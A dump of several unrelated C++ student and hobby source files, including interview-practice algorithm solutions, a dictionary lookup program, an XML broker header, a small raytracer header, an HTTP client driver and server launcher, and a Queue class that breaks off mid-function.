std::unordered_map<char, int> char_count2;
for(int i = 0; i < s1.size(); i++) {
if(char_count1.count(s1[i]) == 0)
char_count1[s1[i]] = 1;
else
char_count1[s1[i]]++;
if(char_count2.count(s2[i]) == 0)
char_count2[s2[i]] = 1;
else
char_count2[s2[i]]++;
}
for(auto iter = char_count1.begin(); iter != char_count1.end(); iter++) {
auto c = iter->first;
if(char_count2.count(c) == 0)
return false;
if(char_count1[c] != char_count2[c])
return false;
}
return true;
}
std::string replaceSpaces(std::string S, int length) {
std::string result;
for(int i = 0; i < length; i++) {
if(S[i] != ' ')
result.push_back(S[i]);
else {
result.push_back('/%');
result.push_back('2');
result.push_back('0');
}
}
return result;
}
bool canPermutePalindrome(std::string s) {
std::unordered_map<char, int> char_count;
for(int i = 0; i < s.size(); i++) {
if(char_count.count(s[i]) == 0)
char_count[s[i]] = 1;
else
char_count[s[i]]++;
}
int odd_count = 0;
for(auto iter = char_count.begin(); iter != char_count.end(); iter++) {
auto c = iter->first;
if((iter->second % 2) != 0)
odd_count++;
if(odd_count > 1)
return false;
}
return true;
}
bool oneEditAway(std::string first, std::string second) {
if(std::abs(int(first.size()) - int(second.size())) > 1)
return false;
int first_size = first.size();
int second_size = second.size();
std::cout<< first_size <<" " << second_size << std::endl;
if(first_size == second_size) {
int diff_count = 0;
for(int i = 0; i < first.size(); i++) {
if(first[i] != second[i])
diff_count++;
if(diff_count > 1)
return false;
}
return true;
}
if(first_size > second_size) {
int diff_index = -1;
for(int i = 0; i < second.size(); i++) {
if(first[i] != second[i]) {
diff_index = i;
break;
}
}
if(diff_index == -1)
return true;
else {
for(int i = diff_index + 1; i< first.size(); i++) {
if(first[i] != second[i-1])
return false;
}
}
return true;
}
if(first_size < second_size) {
int diff_index = -1;
for(int i = 0; i < first.size(); i++) {
if(first[i] != second[i]) {
diff_index = i;
break;
}
}
if(diff_index == -1)
return true;
else {
for(int i = diff_index + 1; i< second.size(); i++) {
if(second[i] != first[i-1])
return false;
}
}
return true;
}
return false;
}
std::string compressString(std::string S) {
std::vector<std::pair<int, char>> char_count;
char pre_char = S[0];
int count = 1;
for(int i = 1; i < S.size(); i++) {
if(S[i] == S[i-1])
count++;
else {
char_count.push_back(std::make_pair(count, pre_char));
count = 1;
pre_char = S[i];
}
}
char_count.push_back(std::make_pair(count, pre_char));
std::string result = "";
for(int i = 0; i < char_count.size(); i++) {
result += std::to_string(char_count[i].first);
result += char_count[i].second;
}
if(result.size() < S.size())
return result;
return S;
}
int kthToLast(ListNode* head, int k) {
ListNode* p = head;
ListNode* q = p;
for(int i= 0 ; i<k; i++) {
q = q->next;
}
while(q) {
p = p->next;
q = q->next;
}
return p->val;
}
void setZeroes(std::vector<std::vector<int>>& matrix) {
std::vector<std::pair<int, int>> zero_localization;
for(int i = 0; i < matrix.size(); i++) {
for(int j = 0; j < matrix[0].size(); j++) {
if(matrix[i][j] == 0)
zero_localization.push_back(std::make_pair(i, j));
}
}
for(int i = 0; i < zero_localization.size(); i++) {
int row = zero_localization[i].first;
int col = zero_localization[i].second;
//清除这一行
for(int tmp_col = 0; tmp_col < matrix[0].size(); tmp_col++) {
matrix[row][tmp_col] = 0;
}
//清除这一列
for(int tmp_row = 0; tmp_row < matrix.size(); tmp_row++) {
matrix[tmp_row][col] = 0;
}
}
}
//用我做的东西去面试uniform 把路牌加进去更好的完成初始化
bool isFlipedString(std::string s1, std::string s2) {
if(s1.size() != s2.size())
return false;
if(s1.empty())
return true;
s1 = s1 + s1;
for(int i =0 ; i< s2.size(); i++) {
std::string tmp_str = s1.substr(i, s2.size());
if(tmp_str == s2)
return true;
}
return false;
}
ListNode* removeDuplicateNodes(ListNode* head) {
if(head == nullptr)
return nullptr;
std::unordered_map<int, int> num_count;
ListNode *p = head;
num_count[p->val] = 1;
ListNode* q = p->next;
while(q) {
if(num_count.count(q->val) == 0) {
num_count[q->val] = 1;
p->next = q;
p = q;
q = q->next;
} else {
q = q->next;
}
}
p->next = nullptr;
return head;
}
class TripleInOne {
public:
TripleInOne(int stackSize) {
nums.resize(stackSize);
}
void push(int stackNum, int value) {
nums[stackNum].push_back(value);
}
int pop(int stackNum) {
if(isEmpty(stackNum))
return -1;
int result = nums[stackNum].back();
nums[stackNum].erase(nums[stackNum].end()-1);
return result;
}
int peek(int stackNum) {
return nums[stackNum].back();
}
bool isEmpty(int stackNum) {
return nums[stackNum].empty();
}
std::vector<std::vector<int>> nums;
};
bool isPalindrome(ListNode* head) {
ListNode* p = head;
ListNode* q = head;
std::vector<int> nums;
while(p) {
nums.push_back(p->val);
p = p->next;
}
for(int i = 0; i < nums.size() / 2; i++) {
if(nums[i] != nums[nums.size() -1 -i])
return false;
}
return true;
}
ListNode *getIntersectionNode1(ListNode *headA, ListNode *headB) {
if(headA == nullptr || headB == nullptr)
return nullptr;
ListNode* p = headA;
ListNode* q = headB;
int count = 1;
while(1) {
if(p == q)
return p;
p = p->next;
q = q->next;
if(p == nullptr) {
p = headB;
count++;
if(count > 1)
return nullptr;
}
if(q == nullptr)
q = headA;
}
return nullptr;
}
ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {
ListNode* result = new ListNode(0);
ListNode* p = result;
int jinwei = 0;
while(l1 && l2) {
int num = l1->val + l2->val + jinwei;
jinwei = num / 10;
num %= 10;
ListNode* node = new ListNode(num);
p->next = node;
p = node;
l1 = l1->next;
l2 = l2->next;
}
while(l1) {
int num = l1->val + jinwei;
jinwei = num / 10;
num %= 10;
ListNode* node = new ListNode(num);
p->next = node;
p = node;
l1 = l1->next;
}
while(l2) {
int num = l2->val + jinwei;
jinwei = num / 10;
num %= 10;
ListNode* node = new ListNode(num);
p->next = node;
p = node;
l2 = l2->next;
}
if(jinwei)
p->next = new ListNode(1);
return result->next;
}
//相遇的时候再分别移动一步就可以再次相遇
ListNode *detectCycle1(ListNode *head) {
if(head == nullptr)
return nullptr;
ListNode* fast = head;
ListNode* slow = head;
while(1) {
slow = slow->next;
if(slow == nullptr)
return nullptr;
if(fast == nullptr)
return nullptr;
fast = fast->next;
if(fast == nullptr)
return nullptr;
fast = fast->next;
if(fast == slow)
break;
}
fast = head;
while(1) {
if(fast == slow)
return fast;
fast = fast->next;
slow = slow->next;
}
return nullptr;
}
class AnimalShelf {
public:
AnimalShelf() {
}
void enqueue(std::vector<int> animal) {
if(animal[1] == 0) {
cat_q.push_back(animal);
}
else
dog_q.push_back(animal);
all.push_back(animal);
}
std::vector<int> dequeueAny() {
if(all.empty())
return {-1, -1};
if(all[0][1] == 0)
cat_q.erase(cat_q.begin());
else
dog_q.erase(dog_q.begin());
std::vector<int> result = all.front();
all.erase(all.begin());
return result;
}
std::vector<int> dequeueDog() {
if(dog_q.empty())
return {-1, -1};
std::vector<int> result = dog_q.front();
int id = result[0];
for(int i = 0; i < all.size(); i++) {
if(all[i][0] == id)
all.erase(all.begin() + i);
}
dog_q.erase(dog_q.begin());
}
std::vector<int> dequeueCat() {
if(cat_q.empty())
return {-1, -1};
std::vector<int> result = cat_q.front();
int id = result[0];
for(int i = 0; i < all.size(); i++) {
if(all[i][0] == id)
all.erase(all.begin() + i);
}
cat_q.erase(cat_q.begin());
}
//存储了狗的编号
std::vector<std::vector<int>> dog_q;
std::vector<std::vector<int>> cat_q;
std::vector<std::vector<int>> all;
};
bool findExistPathHelper(int n, std::vector<std::vector<int>>& connections, int start, int target, std::vector<std::vector<bool>>& visited) {
if(connections[start][target] == 1)
return true;
for(int i = 0; i < n; i++) {
if(start == i)
continue;
if(visited[start][i])
continue;
visited[start][i] = true;
if(connections[start][i] == 1) {
return findExistPathHelper(n, connections, i, target, visited);
}
}
}
bool findWhetherExistsPath(int n, std::vector<std::vector<int>>& graph, int start, int target) {
std::vector<std::vector<int>> connections(n, std::vector<int>(n, 0));
for(int i = 0; i < graph.size(); i++) {
auto connection = graph[i];
connections[connection[0]][connection[1]] = 1;
}
std::vector<std::vector<bool>> visited(n, std::vector<bool>(n, false));
return findExistPathHelper(n, connections, start, target, visited);
}
TreeNode* sortedArrayToBST(std::vector<int>& nums) {
if(nums.size() == 0)
return nullptr;
if(nums.size() == 1)
return new TreeNode(nums[0]);
int mid = nums[nums.size() / 2];
TreeNode* result = new TreeNode(mid);
std::vector<int> left(nums.begin(), nums.begin() + nums.size() / 2);
std::vector<int> right(nums.begin() + nums.size() / 2 + 1, nums.end());
result->left_child = sortedArrayToBST(left);
result->right_child = sortedArrayToBST(right);
return result;
}
std::vector<ListNode*> listOfDepth(TreeNode* tree) {
std::vector<ListNode*> result;
if(tree == nullptr)
return result;
std::queue<TreeNode*> q_tree;
q_tree.push(tree);
result.push_back(new ListNode(tree->val));
while(!q_tree.empty()) {
std::vector<TreeNode*> cur_level;
ListNode* tmp = new ListNode(-1);
ListNode* p = tmp;
while(!q_tree.empty()) {
TreeNode* node = q_tree.front();
q_tree.pop();
if(node->left_child)
cur_level.push_back(node->left_child);
if(node->right_child)
cur_level.push_back(node->right_child);
}
for(int i = 0; i < cur_level.size(); i++) {
q_tree.push(cur_level[i]);
p->next = new ListNode(cur_level[i]->val);
p = p->next;
}
if(tmp->next)
result.push_back(tmp->next);
}
return result;
}
int waysToStep(int n) {
if(n == 1)
return 1;
if(n == 2)
return 2;
if(n == 3)
return 4;
std::vector<long> results(n+1 ,1);
results[1] = 1;
results[2] = 2;
results[3] = 4;
for(int i = 4; i <= n; i++) {
results[i] = (results[i-3] % 1000000007 + results[i-2] % 1000000007 + results[i-1] %1000000007) % 1000000007;
}
return results[n];
}
std::vector<std::vector<int>> pathWithObstacles(std::vector<std::vector<int>>& obstacleGrid) {
}
int main()
{
TripleInOne a(1);
a.push(0, 1);
a.push(0, 2);
std::cout<< a.pop(0) << std::endl;
//std::cout<< a.pop(0) << std::endl;
//std::cout<< a.pop(0) << std::endl;
//std::cout<< a.isEmpty(0) << std::endl;
return 0;
}
| true |
5c75529deb5605e525b6374c5e30061af1058d56 | C++ | zhanlutuzi/cppoop | /Dictionary.cpp | UTF-8 | 1,073 | 3.203125 | 3 | [] | no_license | #include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include<cstdlib>
using namespace std;
int main()
{
string words[8000];
string chinese[8000];
string w_class[8000];
int num = 0;
ifstream infile;
ifstream in("Dictionary.txt");
if (!infile) //测试是否成功打开
{
cerr << "open error!" << endl;
exit(1);
}
for (num = 0; num < 8000; num++)
{
in >> words[num] >> chinese[num] >> w_class[num];
}
string word;
char command = 'C';
for (; command != 'E';)
{
if (command == 'C')
{
cout << "Please input the word you want to search:" << endl;
cin >> word;
for (int i = 0; i < 8000; i++)
{
string search = words[i];
if (search == word)
{
cout << chinese[i] << " " << w_class[i] << endl;
break;
}
}
cout << "C__Continue" << endl;
cout << "E__End" << endl;
cout << "Please input your command:" << endl;
cin >> command;
}
else if (command == 'E')
{
break;
}
else
{
cout << "Wrong command" << endl;
}
}
cout << "Goodbye!" << endl;
return 0;
}
| true |
81409e99fc8ed10b4eca98d1ba4d4a715b5dc287 | C++ | huebel/ObjectBroker | /xmlbroker/xmlbroker.h | UTF-8 | 1,747 | 2.53125 | 3 | [
"CC0-1.0"
] | permissive | #ifndef __XMLBROKER_H
#define __XMLBROKER_H
#include "broker_impl.h"
#include "broker.h"
#include <ostream>
#include <vector>
#include <strxtrs/stack.h>
template <typename Range>
class XMLBuffer;
template <typename Range>
class XMLBroker : private std::string, public Broker {
public:
XMLBroker(strxtrs::stack& context, const Range& table_name, const Range& rowtag);
int Execute(const char* SQL, strxtrs::stack& data);
protected:
virtual void* CreateThing();
virtual void HandleThing(void* /* thing */);
virtual const void* GetThing(long /* idx */) { return 0; }
virtual int GetRow(long /*idx*/) { return 0; }
private:
strxtrs::stack& context;
const Range& rowtag;
// XML helper functions
void AddAttribute(const Range& tag, const char* value);
void AddElement(const Range& tag, const char* value);
void WriteAttribute(strxtrs::stack& row, const Range& name, const std::string& value);
void WriteElement(strxtrs::stack& row, const Range& tag, const std::string& value);
typedef std::vector<std::pair<Range, std::string> > tagmap;
tagmap attributes;
tagmap elements;
friend
class XMLBuffer<Range>;
};
template <typename Range>
class XMLBuffer : private std::string, public BufferBase {
public:
XMLBuffer(XMLBroker<Range>& broker, const Range& column_name, const Range& tag, int buffer_usage);
private:
// Transfer values
virtual void transfer_data(void* target, int from_buffer);
// The buffer tag
const Range tag;
};
template <typename Range>
XMLBuffer<Range>& MapElement(XMLBroker<Range>& broker, const Range& column_name, const Range& tag);
template <typename Range>
XMLBuffer<Range>& MapText(XMLBroker<Range>& broker);
#endif//__XMLBROKER_H
| true |
e3e70c7254bf6b4a428e22cbb8a15c9622efcd9e | C++ | muhammedsaidkaya/hw-java-c-python-verilog | /Basic C codes/Basic C codes/Pointer içindeki adresi değiştirerek gösterdiği değeri değiştirme kodu.cpp | ISO-8859-13 | 410 | 3.109375 | 3 | [] | no_license | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
void function(int *p,int *q){
int temp=NULL;
printf("p nin adresi %u deeri %d ",p,*p);
printf("q nun adresi %u degeri %d\n",q,*q);
temp = *p; *p=*q; *q=temp;
printf("p nin adresi %u deeri %d ",p,*p);
printf("q nin adresi %u deeri %d.\n",q,*q);
}
int main(){
int x=10,y=5;
function(&x,&y);
return 0;
}
| true |
70bef8e6d868a6e4ddf0be8d14a5b870860ac429 | C++ | eversonhs/basic-raytracer | /basic raytracer/Sphere.h | UTF-8 | 349 | 2.578125 | 3 | [] | no_license | #pragma once
#include"Vector3.h"
#include<SDL2/SDL.h>
class Sphere {
public:
Sphere(Vector3& c, double rd, SDL_Color col);
Sphere(Vector3&& c, double rd, SDL_Color col);
//TODO: Refactor
SDL_Color getColor();
Vector3 getCenter();
double getRadius();
private:
Vector3 center;
double radius;
SDL_Color color;
};
| true |
e5c0d9e6fb9b7f26decd852430c676a129bf3d84 | C++ | sahle123/Personal-References | /C++ Codeblocks/CSCI 2270/assignment3/template_prac.cxx | UTF-8 | 3,058 | 3.796875 | 4 | [] | no_license | /*
* template_prac.cxx
*
*
* Created on: Apr 3, 2012
* Author: Sahle A. Alturaigi
*
*
* google: stl lists, bool main()
*
* variable.clear() will clear this list of all objects.
* the += should add another list. i.e. l = [1,2,3]; l += 4; l = [1,2,3,4].
*/
/*
#include<iostream>
#include<list>
//#include sorted_bag.template
// If we were to make this class its own file. It would be defined as a template class and saved as 'sorted_bag.template' and include it with the above syntax.
using namespace std;
// --
// This code is for defining the friend operator for overloading the output operator.
template<class Item>
class sorted_bag;
template<class Item>
std::ostream& operator << (std::ostream& outs, const sorted_bag<Item>& item);
// --
template<class Item>
class sorted_bag {
private:
// Use list<Item> bag; or list<Item>* bag; If the first, the default constructor can be used (Just define the constructor/destructor/copy constructor with an empty body) and the latter, manually define the constructor/destructor/copy constructor.
public:
// Mod Functions
void insert_item(const Item& item);
// Overloaded operands
const sorted_bag& operator = (const sorted_bag& cSource);
friend std::ostream& operator << <>(std::ostream& outs, const sorted_bag<Item>& item); // The angle brackets is not a syntax error, this is used for template functions.
}; // End of Class
template<class Item>
void sorted_bag<Item>::insert_item(const Item& item) // When calling sorted_bag outside the class, make sure to specify the data type in anglular brackets.
{
// bag.push_back(item); // This can be used in the assignment. This mod function will append the link list from the back of the list.
// bag.sort(); // This can't be used in the assignment. This is a mod function provided by the list class. We're not using this for the assignment. In lieu of that, call your own sorter function.
// Assuming the bag is sorted and all that is being rearranged is the item in the parameter.
typename std::list<Item>::iterator i; // typename should only be used here. Read up on the book.
for(i = bag.begin(); i != bag.end(); ++i)
{
if(*i > item) // This will dereference to the object being pointed to by i. This is the ith object.
{
// Code for putting the item right before *i.
}
}
}
template<class Item>
const sorted_bag<Item>&:: operator = (const sorted_bag& cSource)
{
// Code for overloading the assignment operator. Should be similar to previous code.
}
template<class Item>
std::ostream& operator << (std::ostream& outs, const sorted_bag<Item>& item)
{
typename std::list<Item>::const_iterator i;
for(i = item.bag.begin(); i != item.bag.end(); ++i)
{
outs << *i << " ";
}
return outs;
}
// End of class scope
int main()
{
list<int> l; // list of datatype int.
list<Item> bag; // list of datatype item.
list<Item>* bag; // Pointer list of datatype item.
std::list<Item> bag; // Use this syntax if namespace std is not being used.
// l.size(); list datatype mod function. returns the size of the list.
}
*/
| true |
b44867bbcd5188cfc721a5c9d978c6bc98fa0bc1 | C++ | Ziyadelbanna/HTTP-Client-Server | /HTTP_Client/main.cpp | UTF-8 | 857 | 2.953125 | 3 | [] | no_license | #include <iostream>
#include <fstream>
#include "input_reader.h"
#include "sender.h"
#include "sockets_manager.h"
using namespace std;
void process_request(vector<request> requests);
int main() {
cout << "Enter Input File Path!" << endl;
string file_path = "input.txt";
//cin >> file_path;
while(1){
vector<vector<request>> requests = read_requests_from_file(file_path);
for (int i = 0; i < requests.size(); i++) {
process_request(requests[i]);
}
}
return 0;
}
void process_request(vector<request> requests) {
int sock_fd;
int start_index = 0;
int state = 0;
while (state != -1) {
sock_fd = get_socket_fd(requests[0]);
// if state = -1 this means that all requests are successful
state = send_request(sock_fd, requests, start_index);
start_index = state;
}
}
| true |
a238dd93e600aa05a781eb5ca0bd8d4fb6561657 | C++ | Zhangddy/cpp-HttpServer | /HttpStart.cc | UTF-8 | 1,012 | 2.796875 | 3 | [] | no_license | #include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
pid_t pid;
if ((pid = fork()) < 0)
{
perror("fork error");
return EXIT_FAILURE;
}
else if (0 == pid)
{
printf("first child is running..\n");
/**在第一个子进程中再次fork***/
if ((pid = fork()) < 0)
{
perror("fork error");
return EXIT_FAILURE;
}
else if (pid > 0)
{
/**父进程退出**/
printf("[%ld] first child is exit...\n", (long)getpid());
_exit(0);
}
sleep(2);/**确保父进程先运行**/
// printf("second process pid: %ld, second process's parent pid: %ld\n", (long)getpid(), (long)getppid());
// printf("[%ld] is exit..\n", (long)getpid());
execl("./HttpServer", "HttpServer", "80", NULL);
_exit(0);
}
/***获得第一个子进程的退出状态***/
if (waitpid(pid, NULL, 0) < 0)
{
perror("waitpid error");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
| true |
7874cb5e778823158c245ee21ee2c424f6f2bfac | C++ | we0091234/Myleetcode | /5.最长回文子串.cpp | UTF-8 | 2,483 | 3.328125 | 3 | [] | no_license | #include <iostream>
#include <string>
#include <string.h>
using namespace std;
bool isHuiWen(string s,int left,int right)
{
int length =(right-left+1) ;
for(int i = left; i<left+length/2;i++)
{
if(s[i] != s[right+left-i])
return false;
}
return true;
}
string longestHuiWen(string s)// 暴力穷举1
{
string tmp = "";
int maxSub =0;
for(int i = 0; i<s.length();i++)
{
for(int j =i; j<s.length();j++)
{
if (isHuiWen(s,i,j))
{
if(maxSub<(j-i+1))
{
maxSub = j-i+1;
tmp = s.substr(i,j-i+1);
}
}
}
}
return tmp;
}
string longestHuiWen1(string s)// 暴力穷举2,j从后往前
{
string tmp = "";
int maxSub =0;
for(int i = 0; i<s.length();i++)
{
for(int j =s.length(); j>=i;j--)
{
if (isHuiWen(s,i,j))
{
if(maxSub<(j-i+1))
{
maxSub = j-i+1;
tmp = s.substr(i,j-i+1);
}
break;
}
}
}
return tmp;
}
string longestHuiWen2(string s)
{
int flag =0;
string tmp = "";
for(int l = s.length();l>=1; l--)
{
int i=0,j = 0;
while(j<s.length())
{
j =i+l-1;
if(isHuiWen(s,i,j))
{
tmp = s.substr(i,j-i+1);
return tmp;
}
i = i+1;
}
}
return tmp;
}
void huiwenCenter(string s,int left,int right,int &max,string &subStr)
{
while(left>=0 && right<s.length())
{
if(s[left]==s[right])
{
if (max <right-left+1)
{
max = right-left+1;
subStr = s.substr(left,right-left+1);
}
}
else
break;
left--;
right++;
}
}
string longestHuiWen3(string s) //中心店向外扩散,分基数回文串,偶数回文串
{
int max = 0;
string subStr ="";
for(int i = 0; i<s.length();i++)
{
huiwenCenter(s,i,i,max,subStr); //奇数
huiwenCenter(s,i,i+1,max,subStr); //偶数
}
return subStr;
}
int main(void)
{
// cout<<isHuiWen("cbbd",1,2)<<endl;
// cout<<longestHuiWen3("abacdefgfed")<<endl;
cout<<longestHuiWen3("ibvjkmpyzsifuxcabqqpahjdeuzaybqsrsmbfplxycsafogotliyvhxjtkrbzqxlyfwujzhkdafhebvsdhkkdbhlhmaoxmbkqiwiusngkbdhlvxdyvnjrzvxmukvdfobzlmvnbnilnsyrgoygfdzjlymhprcpxsnxpcafctikxxybcusgjwmfklkffehbvlhvxfiddznwumxosomfbgxoruoqrhezgsgidgcfzbtdftjxeahriirqgxbhicoxavquhbkaomrroghdnfkknyigsluqebaqrtcwgmlnvmxoagisdmsokeznjsnwpxygjjptvyjjkbmkxvlivinmpnpxgmmorkasebngirckqcawgevljplkkgextudqaodwqmfljljhrujoerycoojwwgtklypicgkyaboqjfivbeqdlonxeidgxsyzugkntoevwfuxovazcyayvwbcqswzhytlmtmrtwpikgacnpkbwgfmpavzyjoxughwhvlsxsgttbcyrlkaarngeoaldsdtjncivhcfsaohmdhgbwkuemcembmlwbwquxfaiukoqvzmgoeppieztdacvwngbkcxknbytvztodbfnjhbtwpjlzuajnlzfmmujhcggpdcwdquutdiubgcvnxvgspmfumeqrofewynizvynavjzkbpkuxxvkjujectdyfwygnfsukvzflcuxxzvxzravzznpxttduajhbsyiywpqunnarabcroljwcbdydagachbobkcvudkoddldaucwruobfylfhyvjuynjrosxczgjwudpxaqwnboxgxybnngxxhibesiaxkicinikzzmonftqkcudlzfzutplbycejmkpxcygsafzkgudy")<<endl;
return 0;
} | true |
995bb6d9eff1fa846dec0e4123d1922f8963443e | C++ | verdande2/CST136-Spring-12 | /inLab 7 pt III/Publication.cpp | UTF-8 | 496 | 3.203125 | 3 | [] | no_license | #include "Publication.h"
char* Publication::Title(){
return m_title;
}
void Publication::Title(char* title){
m_title = new char[strlen(title)+1];
strcpy(m_title, title);
}
double Publication::Price(){
return m_price;
}
void Publication::Price(double price){
m_price = price;
}
Publication::Publication() : m_title(0), m_price(0) {
std::cout << "Publication Constructor" << std::endl;
}
Publication::~Publication(){
delete [] m_title;
std::cout << "Publication Destructor" << std::endl;
} | true |
e2fd3db4ee2dabc5b065d03aeb925bb28f18d4b4 | C++ | kumarmadhukar/2ls | /src/ssa/assignments.cpp | UTF-8 | 5,203 | 2.703125 | 3 | [
"BSD-2-Clause"
] | permissive | /*******************************************************************\
Module: A map of program locations to the assignments made there
Author: Daniel Kroening, kroening@kroening.com
\*******************************************************************/
#include <util/byte_operators.h>
#include "assignments.h"
#include "ssa_dereference.h"
/*******************************************************************\
Function: assignmentst::build_assignment_map
Inputs:
Outputs:
Purpose:
\*******************************************************************/
void assignmentst::build_assignment_map(
const goto_programt &goto_program,
const namespacet &ns)
{
forall_goto_program_instructions(it, goto_program)
{
// make sure we have the location in the map
assignment_map[it];
// now fill it
if(it->is_assign())
{
const code_assignt &code_assign=to_code_assign(it->code);
exprt lhs_deref=dereference(code_assign.lhs(), ssa_value_ai[it], "", ns);
assign(lhs_deref, it, ns);
}
else if(it->is_decl())
{
const code_declt &code_decl=to_code_decl(it->code);
assign(code_decl.symbol(), it, ns);
}
else if(it->is_function_call())
{
const code_function_callt &code_function_call=
to_code_function_call(it->code);
// functions may alter state almost arbitrarily:
// * any global-scoped variables
// * any dirty locals
for(objectst::const_iterator
o_it=ssa_objects.dirty_locals.begin();
o_it!=ssa_objects.dirty_locals.end(); o_it++)
assign(*o_it, it, ns);
for(objectst::const_iterator
o_it=ssa_objects.globals.begin();
o_it!=ssa_objects.globals.end(); o_it++)
assign(*o_it, it, ns);
// the call might come with an assignment
if(code_function_call.lhs().is_not_nil())
{
exprt lhs_deref=
dereference(code_function_call.lhs(), ssa_value_ai[it], "", ns);
assign(lhs_deref, it, ns);
}
}
else if(it->is_dead())
{
}
}
}
/*******************************************************************\
Function: assignmentst::assign
Inputs:
Outputs:
Purpose:
\*******************************************************************/
void assignmentst::assign(
const exprt &lhs,
locationt loc,
const namespacet &ns)
{
if(is_symbol_struct_member(lhs, ns))
{
const typet &lhs_type=ns.follow(lhs.type());
if(lhs_type.id()==ID_struct)
{
// Are we assigning an entire struct?
// If so, need to split into pieces, recursively.
const struct_typet &struct_type=to_struct_type(lhs_type);
const struct_typet::componentst &components=struct_type.components();
for(struct_typet::componentst::const_iterator
it=components.begin();
it!=components.end();
it++)
{
member_exprt new_lhs(lhs, it->get_name(), it->type());
assign(new_lhs, loc, ns); // recursive call
}
return; // done
}
// object?
ssa_objectt ssa_object(lhs, ns);
if(ssa_object)
{
assign(ssa_object, loc, ns);
}
return; // done
}
if(lhs.id()==ID_typecast)
{
assign(to_typecast_expr(lhs).op(), loc, ns);
}
else if(lhs.id()==ID_if)
{
assign(to_if_expr(lhs).true_case(), loc, ns);
assign(to_if_expr(lhs).false_case(), loc, ns);
}
else if(lhs.id()==ID_index)
{
assign(to_index_expr(lhs).array(), loc, ns);
}
else if(lhs.id()==ID_member)
{
// non-flattened struct or union member
const member_exprt &member_expr=to_member_expr(lhs);
assign(member_expr.struct_op(), loc, ns);
}
else if(lhs.id()==ID_byte_extract_little_endian ||
lhs.id()==ID_byte_extract_big_endian)
{
const byte_extract_exprt &byte_extract_expr=to_byte_extract_expr(lhs);
assign(byte_extract_expr.op(), loc, ns);
}
else if(lhs.id()==ID_complex_real || lhs.id()==ID_complex_imag)
{
assert(lhs.operands().size()==1);
assign(lhs.op0(), loc, ns);
}
}
/*******************************************************************\
Function: assignmentst::assign
Inputs:
Outputs:
Purpose:
\*******************************************************************/
void assignmentst::assign(
const ssa_objectt &lhs,
locationt loc,
const namespacet &)
{
assignment_map[loc].insert(lhs);
}
/*******************************************************************\
Function: assignmentst::output
Inputs:
Outputs:
Purpose:
\*******************************************************************/
void assignmentst::output(
const namespacet &ns,
const goto_programt &goto_program,
std::ostream &out)
{
forall_goto_program_instructions(i_it, goto_program)
{
out << "**** " << i_it->location_number << " "
<< i_it->source_location << "\n";
assignment_mapt::const_iterator m_it=assignment_map.find(i_it);
if(m_it==assignment_map.end())
throw "location not found";
const objectst &objects=m_it->second;
for(objectst::const_iterator
o_it=objects.begin();
o_it!=objects.end();
o_it++)
{
out << o_it->get_identifier() << "\n";
}
out << "\n";
}
}
| true |
c5ea84963e117e4098a3f07c902c3b47ada2cc30 | C++ | rutuja-patil923/Data-Structures-and-Algorithms | /Stack/mergeIntervals.cpp | UTF-8 | 569 | 3.296875 | 3 | [] | no_license |
void mergeIntervals(vector<vector<int>> intervals)
{
stack<vector<int>> st;
int first = intervals[0][0];
int second = intervals[0][1];
st.push({first,second});
for(int i=1; i<intervals.size();i++)
{
vector<int> temp=st.top();
first=temp[0];
second=temp[1];
if(second>=intervals[i][0])
{
first=min(first,intervals[i][0]);
second=max(second,intervals[i][1]);
st.pop();
st.push({first,second});
}
else
{
first=intervals[i][0];
second=intervals[i][1];
st.push({first,second});
}
}
//stack will contain merge intervals
} | true |
ca0f9d050887d4272dd599eb04fe203587cbb853 | C++ | wesExpress/GameEngine2D | /Engine/src/Platform/GLFW/InputGLFW.cpp | UTF-8 | 1,164 | 2.734375 | 3 | [
"Apache-2.0"
] | permissive | #include "InputGLFW.h"
#include "Engine/EngineApp.h"
#include <GLFW/glfw3.h>
namespace Engine
{
Input* Input::m_instance = new InputGLFW();
bool InputGLFW::IsKeyPressedImpl(int keycode) const
{
auto window = static_cast<GLFWwindow*>(Engine::EngineApp::Get().GetWindow().GetWindow());
auto status = glfwGetKey(window, keycode);
return (status == GLFW_PRESS || status == GLFW_REPEAT);
}
bool InputGLFW::IsMouseButtonPressedImpl(int button) const
{
auto window = static_cast<GLFWwindow*>(Engine::EngineApp::Get().GetWindow().GetWindow());
auto status = glfwGetMouseButton(window, button);
return status == GLFW_PRESS;
}
std::pair<float, float> InputGLFW::GetMousePosImpl() const
{
auto window = static_cast<GLFWwindow*>(Engine::EngineApp::Get().GetWindow().GetWindow());
double x, y;
glfwGetCursorPos(window, &x, &y);
return {(float)x, (float)y};
}
float InputGLFW::GetMouseXImpl() const
{
return GetMousePosImpl().first;
}
float InputGLFW::GetMouseYImpl() const
{
return GetMousePosImpl().second;
}
} | true |
98a81a40d47c795eda9c8b9f1a751f282a52548a | C++ | AkbarKarshiev/SmartCarProject | /codes/shape/Object.h | UTF-8 | 315 | 2.703125 | 3 | [] | no_license | #ifndef OBJECT_H
#define OBJECT_H
#include "opencv2/opencv.hpp"
using namespace cv;
using namespace std;
class Object{
public:
Object(string name, string color, Point position);
string getName();
string getColor();
Point getPosition();
private:
string name;
string color;
Point position;
};
#endif | true |
da4b7b4b7a1f395644e350242a35987804a14c20 | C++ | paladini/UFSC-so1 | /trabalhos/atividadePratica2/final/lib/Queue.cc | UTF-8 | 3,531 | 3.375 | 3 | [
"MIT"
] | permissive | /* Emmanuel Podestá Junior, Fernando Paladini.
* BOOOS.h
*
* Created on: Aug 14, 2014
*/
#ifndef QUEUE_CC_
#define QUEUE_CC_
#include "Queue.h"
#include <iostream>
#include <cstdlib>
namespace BOOOS {
Queue::Queue() {
_head.next(0);
_head.prev(0);
_length = 0;
}
Queue::~Queue() {
while(this->_length != 0)
this->remove();
}
void Queue::insert(Element * elem) {
if (elem == 0) {
throw -2;
}
if (_length > 0) {
Element *last = _head.prev();
last->next(elem);
elem->prev(last);
elem->next(_head.next());
_head.next()->prev(elem);
_head.prev(elem);
} else {
_head.next(elem);
_head.prev(elem);
elem->next(elem);
elem->prev(elem); // antes estava next aqui
}
_length++;
}
// Temp.
void Queue::insert_ordered(Element * elem) {
if (elem == 0) {
throw -2;
}
if (_length > 0) {
Element* temp = _head.next();
int count = 0;
while(count < _length) {
if (elem->rank() >= temp->rank()) {
temp = temp->next();
} else {
break;
}
count++;
}
temp = temp->prev();
elem->next(temp->next());
